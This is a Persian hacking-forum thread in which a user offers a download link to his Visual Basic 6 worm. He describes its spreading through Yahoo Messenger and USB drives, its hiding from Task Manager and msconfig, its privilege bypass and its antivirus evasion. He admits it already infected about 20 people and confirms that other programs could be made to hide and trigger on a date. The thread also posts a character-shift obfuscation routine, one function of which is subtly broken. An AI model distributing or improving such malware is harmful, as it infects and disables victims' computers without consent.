Public MyWorm Here !

[blackhacking21]

یا حق
یک کرم چند ماه پیش نوشته بودم ... سورسشو میزارم خواهشا ازش استفاده نکنید ... یک بار امتحانی به یکی دادم بین 20 نفر شیوع پیدا کرد ...
از خصوصیاتش :
سند تو آل لینک دانلود خودش در یاهو مسنجر
آلوده سازی فلش های متصل به سیستم
غیر قابل disble از msconfig
مخفی از تسک منیجر
آلوده سازی کل فولدر های سیستم بعد از مدت معین
قرار گرفتن در استارت آپ (Bypass Run As Administrator In Win Se7en)
غیر قابل تشخیص از خیلی از آنتی ویروس ها ( اگه میدونین بدرد میخوره یه کاریش میکنم هیچ آنتی ویروسی نشناسش )
و وظیفه ی اصلی :
از باز کردن صفحاتی مانند FB , Youtube , twiter و صفحات مستهجن جلوگیری می کند ...
فکر کنم اگه پخش می شد آمار FB  به صفر می رسید [img]images/smilies/Smileys/21.gif[/img]
زبان :Microsoft Visual Basic 6
http://www.up2www.com/uploads/1387954326861.zip
امید است بتوانیم دشمنی که وارد زندگی جوانان شده است را نابود سازیم ...

[rap0661]

RE: Public MyWorm Here !

اینو میتونید یه توضیحاتی در موردش بدهید

آلوده سازی کل فولدر های سیستم بعد از مدت معین

یعنی  میتونید این قسمت رو طوری تنظیمن کنیم نه برای این ویروس برای ویرس های دیگه یا برنامه های دیگه موقعی روش کلیک  شد برنامه فعال نشه بلکه بره تو استارت آپ بشینه و مثلا تو دریایورها مخفی بشه و در تاریخ خاصی اجرا بشه و شروع نه به فعالیت؟

[blackhacking21]

RE: Public MyWorm Here !

آره دوست من !
چرا که نشه ؟
یه نگاهی به کرم من بنداز میفهمی !!!

[vahid4251]

RE: Public MyWorm Here !

اقا یه سوال این سیستم دیکد این دقیقا چیه و چطوری عمل میکنه از چه فانکشنی استفاده میکنه

مهمه اگر کسی میدونه

[blackhacking21]

RE: Public MyWorm Here !

Private Function decoding(data As String)
On Error Resume Next
For i = 1 To Len(data)
s = Mid(data, i, 1)
r = r & Chr(Asc(s) - 2)
Next
decoding = r
End Function

Private Function coding(data As String)
On Error Resume Next
For i = 1 To Len(data)
s = Mid(data, i, 1)
r = r & Chr(Asc(s) + 2)
Next
decoding = r
End Function

موفق باشید

[vahid4251]

RE: Public MyWorm Here !

خوی اینو منم فهمیمیدم طریقه کارو بگیم این کدشو خودمم نگاه کرددم ولی جالب دیکد میکنه

[blackhacking21]

RE: Public MyWorm Here !

درود
این کد اسکی یک حرف رو 2 واحد می بره جلو ، بر فرض در این کاراکتر A به C تبدیل میشه ...
r = r & Chr(Asc(s) + 2)
این هم از الگوریتمش ...
موفق باشین